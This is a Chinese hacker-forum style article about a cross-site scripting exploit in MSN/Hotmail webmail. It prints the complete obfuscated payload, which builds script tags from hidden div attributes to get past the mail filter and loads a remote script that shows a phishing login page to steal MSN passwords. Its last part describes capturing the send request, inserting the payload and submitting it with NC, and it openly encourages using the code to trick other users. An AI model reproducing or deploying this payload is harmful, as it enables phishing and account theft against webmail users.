MSN跨站漏洞分析

　　早在几天前，听到同事说“朋友msn发来一个网页，自己输入了密码，结果过了几天后，MSN密码错误，可能是被盗了。”当时还问同事要地址，他却说找不到地址了。几天后朋友说看到幻影发出了msn跨站代码，于是自己下载exp研究半天，终于利用成功。

　　原代码很乱，排版后如下：

　　1<font color="ffffff">

　　2 <div id="jmp"style="display:none">nop</div>

　　3 <div id="ly"style="display:none"> //这几个DIV是用来分段存储exp内容的4 functionok(){return true};5 window.onerror=ok6 </div>

　　7 <div id="tip"title="<a style="display:none">"style="display:none"></div>

　　8 <div id="tap"title="<"style="display:none"></div>

　　9 <div id="tep"title=">"style="display:none"></div>

　　10 <style>

　　11//以下是EXP的开始，一个二元表达式内嵌利用代码。代码把div中存储的内容取出来然后加一起，形成了最终shellcode。12 div{background-image:expression(13 javascript:1?document.write(14 EC_tip.title+'top:'+EC_tap.title+'/a'+

　　15 EC_tep.title+EC_tap.title+'script id=nop'+

　　16 EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+

　　17 EC_tep.title+EC_tap.title+

　　18 'script src=http://localhost/1.js'+

　　19 EC_tep.title+EC_tap.title+'/script'+

　　20 EC_tep.title)21 :1=1);22 }23 </style>

　　24</font>

　　不知道是哪个大牛发现的漏洞写出了代码。要知道MSN不可能对跨站的代码，也就是邮件内容不做过滤。所以这段代码一定是某牛的思维精华，精巧的绕过了MSN对邮件内容的层层验证。而我们要学习的是思想，漏洞代码这种东西，今天能用，明天人家就补上了。

　　用DOM解析来分析代码，会容易些。首先看最外层，一对<font>标签。作者并不怎么用MSN来发信，所以不了解MSN邮箱的编辑模式，不了解怎样编辑邮件内容才能出现这对标签。不过最外面的标签既然可以这么写，说明MSN至少允许一部分HTML代码执行。测试给自己邮箱发信，发现MSN提供的邮箱不能直接发HTML，只能用自带编辑器给新建内容加样式。看来如果一定要发html，就要抓包了。

　　邮件发送和接收协议分别是SMTP和POP，但是MSN却让我们从网站上发送邮件，把邮件提交给一个网页文件，这说明MSN在接收到我们给该网页所提交的信息后，在后台处理了那些过程。一个MSN发信的包里，有如下几个重要内容：

　　POST /mail/SendMessageLight.aspx?_ec=1&n=578891127HTTP/1.1

　　把信件内容提交给这个文件，之后发送过程由该文件在MSN服务器上执行。

　　Host: by111w.bay111.mail.live.com

　　主机地址，这个要记下来， NC提交的时候用。

　　Content-Length: 1858

　　发送包的长度，如果修改了包内容，也要相应修改包长度。

　　COOKIE就不说了，一定要有的，证明你的身份，因为是HTTP协议，所以一旦登录过后退出了，之前抓到的cookie就无效了。

　　Content-Disposition: form-data; name="fTo"notconn@hotmail.com-----------------------------7d830d6a0738

　　看到“fTo”了吧？顾名思义，这里需要填写信件发送到哪里。这里也要进行欺骗时一定要修改的地方之一。

　　这就是最重要的地方：信件的内容，也就是放EXP代码的地方。msn会在这里过滤很多东西，以免出现XSS攻击。作者发信的时候，在信件里输入了“ddddd”，然后点“加粗”按钮，原内容只有一个<STRONG>ddddd</STRONG>，而这个数据包，是修改后的内容。

　　为了测试MSN对邮件内容的过滤，同时为了研究大牛的EXP代码中一个特殊的地方，作者在信件源内容里，加了一个script标签，和一个div，并给div的id和name以及title给定了值。如果只看EXP代码，有些地方能一眼看懂，而有些地方看起来很茫然。特别奇怪的就是前面定义了一个div叫tap，乍一看似乎没用，而后面又有一个EC_tap的js变量，这个变量居然还有个title属性。原本看起来没有关联的代码，等我用NC把修改后的包提交出去以后(发乐信)，再打开信件时，终于明白了。再看看收到的邮件源代码：

　　邮件中的dddddd还在，div的id由原来的test，变成了EC_test，title的值和div标签之间的值（innerHTML）也在，MSN没有对其过滤。而script标签，就找不到了。这么看起来，就很容易搞明白EXP的代码了。

　　MSN过滤了很多内容，但是却把“div{background-image:expression(”中的表达式执行了。而表达式中的内容也被过滤一部分，不允许出现定义变量，不允许出现“<”等等，大牛无奈之下，定义了一堆div。用div的title属性和innerHTML来存储shellcode，而特殊的值例如“<”一类，也经过编码后储存，最终巧妙的在msn的严密过滤下执行了恶意代码。不得不佩服的说一句，很邪恶，很强大！

　　最终成型后的shellcode代码，会在浏览器中打开页面中html代码如下：

　　<a style="display:none">top:</a>

　　<script id=nop>functionok(){return true};window.onerror=ok</script>

　　<script src=http://localhost/1.js></script>

　　看看最终的成果，你会发现这些代码的每一个字符都在exp里以某种形式出现过，最终绕过层层防御，组合在一起。读者可以在脑海里构造这么一个画面，在一个恐怖的黑色实验室里，某牛趴在一台电脑面前，不断变换着字符对自己的msn发信，从最基本的<script>标签开始，到不小心发现DIV的名字会被msn的过滤器换成另一个，笔者最佩服这种研究精神。我们的小菜，在自己不小心上当后，该怎么抓到这段EXP然后利用呢？现在重现一下小菜中招的那一刻：

　　某小菜正在利用上班时间，打开MSN泡MM，突然朋友发来一封邮件“新鲜的IIS6 0DAY”，小菜满怀激动打开邮件，没想到居然提示登录，于是登录，再次打开邮件，又提示登录……如此反复。终于明白这不是IIS6的0DAY，而是MSN跨站。

　　如果我猜得不错，大多数爱学习而又心怀鬼胎的小菜会打开信件后，会首先看那个MSN登录页面的源代码，误以为这个就是最终exp。发现不是exp后，又打开邮件后立刻按ESC停止浏览器执行，在出现的空白页面里看源代码，却只发现那段成型后的shellcode代码。这当然是误区！

　　那么整段EXP究竟该怎么抓呢？为什么两次抓的都不对？

　　作者推测，仅仅从邮箱中打开邮件查看，一直到查看到信件最后中标为止，整段EXP应该没有出现过，只有成型的shellcode出现了！！！很诡异啊，呵呵，开个玩笑，它当然出现了，如果整个过程中都在抓包，会出现在打开信件之后，但是瞬间出现后，页面就被shellcode替换掉了，而shellcode又调出了msn登录的钓鱼页面。其实除了抓包，还有更简单的方法。MSN新版，提供了查看信件源代码功能。

　　文本Tag: 跨站攻击

　　在信件上点右键，选择查看源文件，就能看到信件的源代码，下图就是信件源代码页面。

　　接下来在IE中查看网页源文件，看到的是加密过的内容，一堆乱码。中国X黑客小组网站里，提供了在线脚本编码工具http://online.cnxhacker.com/script/， 对代码解密。才会看到EXP的真实内容。

　　现在终于看到了exp的内容，这段EXP会执行指定的JS文件，根据中招的经历，我们也可以利用这段代码欺骗其他小菜了。

　　代码分析完毕，下面是利用这段代码做坏事了。

　　其实不需要使用MSN给MSN的邮箱发信，只要找个能完好的发送代码到MSN的邮箱就可以。如果临时找不到，甚至可以自己架一台java mail发信。作者比较懒，只对“WSE抓包，修改之后使用NC发包”这条路情有独钟。

　　简单的介绍下作者的发信过程：

　　登录MSN邮箱，打开新建邮件页面。设置抓包工具之后，修改抓到的包内容为exp的代码，然后修改包长度。使用NC提交给hotmail服务器。整个过程中，包内容保存为1.TXT这个文件必须使用ultraedit工具打开，不能使用记事本，因为记事本不认某些字符编码，会把自己的编码覆盖到原文档中，最终造成NC发出去的包，服务器不认识。

　　从一段代码，可以看到大牛的思路，以及为了不断寻求突破所付出的努力，这才是值得学习的地方。再看看国内那些现在越来越多只知道用工具的家伙，殊不知那些经常上报的可怜小子其实就是出自你们当中呢？